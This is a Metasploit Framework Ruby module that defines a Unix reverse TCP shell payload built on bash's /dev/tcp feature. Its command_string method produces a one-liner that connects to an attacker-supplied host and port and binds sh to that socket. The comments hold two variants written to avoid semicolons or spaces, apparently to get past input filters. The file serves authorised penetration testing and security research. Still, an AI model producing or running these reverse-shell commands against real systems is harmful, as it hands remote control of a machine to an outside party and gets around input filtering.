##
# $Id: reverse_bash.rb 6854 2009-07-21 15:20:35Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'


module Metasploit3

	include Msf::Payload::Single

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Unix Command Shell, Reverse TCP (/dev/tcp)',
			'Version'       => '$Revision: 6854 $',
			'Description'   => %q{
				Creates an interactive shell via bash's builtin /dev/tcp.
				This will not work on most Debian-based Linux distributions
				(including Ubuntu) because they compile bash without the
				/dev/tcp feature.
				},
			'Author'        => 'hdm',
			'License'       => MSF_LICENSE,
			'Platform'      => 'unix',
			'Arch'          => ARCH_CMD,
			'Handler'       => Msf::Handler::ReverseTcp,
			'Session'       => Msf::Sessions::CommandShell,
			'PayloadType'   => 'cmd_bash',
			'RequiredCmd'   => 'bash-tcp',			
			'Payload'       =>
				{
					'Offsets' => { },
					'Payload' => ''
				}
			))
	end

	#
	# Constructs the payload
	#
	def generate
		return super + command_string
	end
	
	#
	# Returns the command string to use for execution
	#
	def command_string
		fd = rand(200) + 20
		return "0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};sh <&#{fd} >&#{fd} 2>&#{fd}";
		# same thing, no semicolons
		#return "/bin/bash #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} <&#{fd} >&#{fd}"
		# same thing, no spaces
		#return "s=${IFS:0:1};eval$s\"bash${s}#{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']}$s<&#{fd}$s>&#{fd}&\""
	end
end
